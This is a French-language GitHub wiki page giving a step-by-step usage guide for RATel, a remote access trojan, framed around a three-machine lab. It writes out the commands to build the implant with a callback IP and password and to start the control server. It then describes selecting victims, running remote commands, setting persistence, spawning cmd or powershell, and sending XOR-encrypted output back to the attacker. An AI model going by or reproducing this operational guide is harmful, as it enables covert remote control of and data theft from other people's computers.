-
Notifications
You must be signed in to change notification settings - Fork 66
Simple usage
Pour plus de détails sur les outils de RATel, je vous invite à aller sur le wiki de mon répertoire Github: https://github.com/FrenchCisco/RATel/wiki
Mon laboratoire est constitué de 3 machines:
- machine 1: L'attaquant (serveur) 192.168.0.98
- machine 2 : La victime (client 1) 192.168.0.84
- machine 3 : La victime (client 2) 192.168.0.16
La première étape consiste a générer le RAT. Pour cela j'ai écrit un script qui prend plusieurs arguments (RATelGenerator.py). Lien de la documentation: https://github.com/FrenchCisco/RATel/wiki/Usage-RATelGenerator
commande: $ /usr/bin/python3 RATelGenerator.py --port 12345 --ip 192.168.0.98 --name ratel.exe --password ciscoTheBoss
arguments:
| Argument | Commant |
|---|---|
--port 12345 |
Se connecte sur le port 12345 . |
--ip 192.168.0.98 |
L’adresse IP du serveur. |
--name ratel.exe |
Le nom du RAT. |
--password ciscoTheBoss |
Le mot de passe pour chiffrer et déchiffrer les données. |
RATelGenerator crée le RAT dans le fichier payload:
Une fois le RAT généré, nous pouvons désormais démarrer le serveur (RATelServer.py). Lien de la documentation: https://github.com/FrenchCisco/RATel/wiki/Documentation-RATelServer-Argument
commande: $ /usr/bin/python3 RATelServer.py --port 12345 --password ciscoTheBoss --time 5 –clean
arguments:
| Argument | Commant |
|---|---|
--port 12345 |
écoute sur le port 12345 . |
--password ciscoTheBoss |
Le mot de passe pour chiffrer et déchiffrer les données. |
--time 5 |
Ping toutes les machines toutes les 5 secondes. |
--clean |
Supprime les données de la base de données. |
Une fois le serveur lancé, nous pouvons exécuter ratel.exe sur la machine 2 et sur la machine 3.
Pour avoir plus de détails sur les modes ainsi que sur les commandes du serveur, je vous invite à aller sur la documentation du serveur: https://github.com/FrenchCisco/RATel/wiki/Usage--RATelServer
Pour pouvoir sélectionner un client afin d'exécuter des commandes, la commande est: --target .
Si je veux sélectionner la machine numéro 3, la commande est : --target 0
Une fois fois la machine 3 sélectionnée, nous pouvons exécuter plusieurs commandes comme l’exécution de codes chiffrés via l'algorithme XOR, lancer une persistante, créer un processus cmd.exe ou un processus powershell.exe, détruire et déconnecter le RAT, etc .Si vous désirez voir l’intégralité des commandes du mode session, vous pouvez exécuter la commande --help .
Dans cette documentation je vais juste vous parler de la commande “-c”.
Explication du foctionnement :
La commande “-c” créer un processus enfant sur la machine distante qui exécute la commande reçue. Un tuyau anonyme est donc créé pour lire le résultat du processus enfant puis le stocke dans une variable. La variable ensuite est chiffrée avec algorithme XOR. Une fois le résultat chiffré, le résultat est envoyé au serveur.
Je me suis inspiré de cette documentation: https://docs.microsoft.com/en-us/windows/win32/procthread/creating-a-child-process-with-redirected-input-and-output
Il est impossible d'exécuter des commandes qui nécessitent une entrée (stdin) comme FTP, ssh, diskpart, etc. Le rat deviendra un "zombie" et une exception timeout se déclenchera. Pour effectuer des commandes qui nécessitent une entrée (stdin), je vous recommande la commande “--command" ou “--powershell". Le seul inconvenient de ces deux dernières commandes c'est que les données ne sont pas chiffrées. Il sera donc possible de voir le résultat des commandes en clair sur le réseau.
La trame sur le réseau:







